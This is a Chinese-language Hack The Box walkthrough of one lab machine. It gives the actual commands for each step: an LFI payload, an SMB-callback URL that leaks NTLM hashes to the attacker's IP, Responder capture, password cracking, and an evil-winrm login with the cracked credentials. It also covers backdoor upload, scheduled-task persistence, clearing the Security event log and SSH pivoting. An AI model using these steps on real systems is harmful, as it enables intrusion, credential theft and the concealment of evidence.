从Nmap扫描到WinRM登录：一次完整的HTB靶场（5985端口）渗透实战记录

从Nmap扫描到WinRM登录一次完整的HTB靶场渗透实战解析在渗透测试的实战环境中每个开放的端口都可能成为突破口而5985端口的WinRM服务往往是被忽视的黄金通道。这次我们以HTB靶机为例完整还原从信息收集到最终获得系统权限的全过程。不同于教科书式的步骤罗列这里更关注实战中的决策逻辑——为什么选择5985端口如何将Web漏洞转化为系统级访问这些思考才是红队演练的核心价值。1. 信息收集发现隐藏的入口点任何有效的渗透都始于细致的信息收集。使用Nmap进行全端口扫描时参数组合直接影响结果质量。以下是经过实战验证的参数组合nmap -v -p- --min-rate 5000 -sV -sC 10.129.136.91参数解析-p-扫描所有65535个TCP端口--min-rate 5000提升扫描速度避免超时-sV服务版本探测-sC默认脚本扫描扫描结果显示三个关键端口端口服务备注80ApacheWeb应用入口5985WinRMWindows远程管理协议7680pando-pub文件传输服务提示5985端口常被企业防火墙放行因为它是合法的管理通道这使其成为穿透内网的理想选择。2. Web渗透从LFI到NTLM哈希窃取访问80端口发现网站重定向到unika.htb需要修改本地hosts文件echo 10.129.136.91 unika.htb | sudo tee -a /etc/hosts测试发现index.php存在本地文件包含漏洞尝试读取Windows系统文件http://unika.htb/index.php?page../../../../../../../../windows/system32/drivers/etc/hosts关键转折点当LFI漏洞遇到SMB协议时会产生奇妙的化学反应。通过构造特殊URL强制目标服务器向我们的攻击机发起SMB认证请求http://unika.htb/?page//10.10.14.7/sharefile此时启动Responder工具捕获NTLMv2哈希python3 Responder.py -I tun0 -v捕获的哈希格式示例admin::N46iSNekpT:08ca45b7d7ea58ee:88DCBE4446F1F09CA153A6F3...3. 哈希破解从密文到明文将获得的NetNTLMv2哈希保存为hash.txt使用John the Ripper进行破解john --wordlist/usr/share/wordlists/rockyou.txt hash.txt破解过程优化技巧使用--fork4参数启用多核并行对大型字典可先用--rules启用智能规则变形商业级显卡建议使用Hashcat加速最终获得凭证administrator:badminton4. WinRM利用最后的堡垒突破Windows Remote Management(WinRM)是基于SOAP的远程管理协议5985是其默认端口。使用evil-winrm工具可直接获得PowerShell会话evil-winrm -i 10.129.136.91 -u administrator -p badminton高级用法使用-s参数上传脚本通过-e参数执行本地PS1脚本-H选项支持直接传递NTLM哈希连接成功后典型操作流程执行whoami /all查看权限运行net user枚举账户信息通过upload传输后门程序使用schtasks创建持久化任务在真实环境中WinRM服务往往配置了SSL加密。此时需要添加-S参数并忽略证书警告evil-winrm -S -i target.domain -u admin -p Pssw0rd! -k5. 痕迹清理与防御建议作为专业渗透测试人员完成任务后需要清理痕迹Clear-EventLog -LogName Security Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name Backdoor对于防御方建议采取以下措施禁用不必要的WinRM服务配置网络级认证(NLA)启用传输层加密设置IP白名单访问控制实际渗透中常遇到WinRM服务受限的情况。此时可尝试端口转发将5985端口通过已控主机转发到攻击机ssh -L 5985:127.0.0.1:5985 userpivot_host这种技术在内网横向移动中尤为有效能绕过网络分段限制。掌握WinRM的攻防技巧意味着你拥有了穿透Windows环境的利器。